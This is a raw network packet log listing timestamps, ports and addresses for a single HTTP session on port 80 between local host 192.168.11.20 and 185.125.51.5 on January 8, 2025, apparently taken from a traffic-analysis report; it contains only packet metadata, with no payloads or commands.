Jan 8, 2025 16:18:22.036413908 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.036470890 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.036514044 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.036612988 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.036652088 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.036703110 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.036813974 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.036931038 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.036957026 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.037066936 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.037168026 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.037204027 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.037337065 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.257632971 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.257669926 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.257829905 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.257899046 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.257935047 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.258053064 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.258135080 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.258152008 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.258265972 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.258306980 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.258415937 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.258486986 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.258605957 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.258654118 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.258754969 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.258836985 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.258867025 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.258975983 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.259052992 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.259077072 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.259188890 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.259217978 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.259324074 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.259426117 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.259466887 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.259537935 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.259666920 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.259685040 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.259790897 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.259892941 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.259948015 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.260055065 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.260132074 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.260238886 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.260243893 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.260365963 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.260416031 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.260545015 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.260595083 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.260711908 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.260827065 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.260848045 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.260867119 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.260947943 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.261060953 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.261178970 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.261192083 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.261305094 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.261374950 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.261421919 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.261533976 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.261645079 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.261673927 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.261778116 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.261779070 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.261888981 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.261996984 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.262093067 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.262118101 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.262232065 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.262274981 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.262384892 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.262465954 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.262535095 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.262584925 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.262700081 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.262805939 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.262820005 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.262934923 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.263048887 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.263056040 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.263178110 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.263286114 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.263293982 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.263411045 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.263485909 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.263525963 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.263643026 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.263731003 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.263760090 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.263876915 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.263994932 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.264028072 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.264131069 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.264146090 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.264254093 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.264343977 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.264460087 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.264461040 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.264568090 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.264601946 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.264719009 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.264811993 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.264928102 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.265014887 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.265043974 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.265067101 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.265150070 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.265286922 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.265351057 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.265403986 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.265512943 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.265588999 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.265626907 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.265748024 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.265784979 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.265893936 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.266015053 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.266119957 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.266123056 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.266236067 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.266323090 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.266366959 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.266474962 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.266547918 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.266558886 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.266676903 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.266745090 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.266796112 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.266968012 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.482702017 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.482758045 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.482877970 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.482989073 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.482990980 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.483120918 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.483123064 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.483241081 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.483338118 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.483443975 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.483450890 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.483575106 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.483642101 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.483700037 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.483809948 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.483850002 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.483968973 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.484038115 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.484160900 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.484215021 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.484272003 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.484288931 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.484397888 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.484512091 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.484613895 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.484627962 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.484739065 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.484772921 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.484886885 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.484973907 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.484991074 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.485109091 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.485218048 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.485266924 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.485327959 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.485445976 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.485472918 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.485586882 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.485682011 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.485783100 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.485795021 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.485913992 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.486027956 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.486035109 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.486150980 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.486241102 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.486270905 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.486392021 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.486411095 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.486557961 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.486613989 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.486709118 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.486737967 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.486845970 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.486876011 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.486993074 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.487088919 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.487176895 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.487204075 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.487318039 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.487359047 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.487474918 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.487545967 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.487628937 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.487663031 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.487782001 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.487849951 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.487900019 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.488020897 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.488049030 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.488162041 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.488250971 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.488318920 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.488373041 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.488485098 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.488591909 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.488601923 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.488718987 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.488760948 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.488878012 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.488953114 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.489069939 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.489114046 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.489227057 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.489300966 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.489310980 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.489428043 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.489465952 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.489572048 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.489654064 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.489763021 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.489772081 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.489887953 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.489919901 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.490035057 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.490122080 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.490180016 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.490238905 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.490354061 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.490441084 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.490468025 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.490593910 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.490621090 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.490732908 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.490828991 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.490866899 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.490979910 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.491055965 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.491174936 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.491179943 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.491283894 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.491410017 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.491430044 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.491537094 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.491624117 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.491652012 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.491756916 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.491792917 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.491911888 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.491990089 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.492052078 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.492157936 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.492228031 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.492341995 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.492358923 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.492474079 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.492531061 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.492583990 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.492697001 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.492779970 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.492824078 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.492921114 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.493010998 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.493041992 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.493160963 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.493208885 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.493316889 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.493396997 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.493454933 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.493516922 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.493629932 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.493688107 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.493752003 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.493865013 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.494000912 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.494039059 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.494101048 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.494220018 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.494247913 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.494363070 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.494375944 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.494492054 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.494570017 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.494676113 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.494680882 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.494803905 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.494833946 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.494976997 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.495032072 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.495121002 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.495152950 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.495266914 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.495327950 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.495383978 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.495500088 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.495583057 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.495620966 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.495765924 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.495855093 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.495872021 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.496006966 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.496014118 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.496087074 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.496207952 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.496300936 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.496320009 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.496438980 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.496471882 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.496587038 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.496670961 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.496745110 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.496792078 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.496902943 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.496965885 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.497019053 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.497138023 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.497206926 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.497255087 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.497374058 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.497407913 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.497519970 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.497606993 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.497678995 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.497728109 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.497842073 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.497925997 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.497955084 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.498080969 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.498109102 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.498244047 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.498321056 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.498404026 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.498439074 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.498563051 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.498589993 CET	49722	80	192.168.11.20	185.125.51.5
Jan 8, 2025 16:18:22.498714924 CET	80	49722	185.125.51.5	192.168.11.20
Jan 8, 2025 16:18:22.498786926 CET	80	49722	185.125.51.5	192.168.11.20
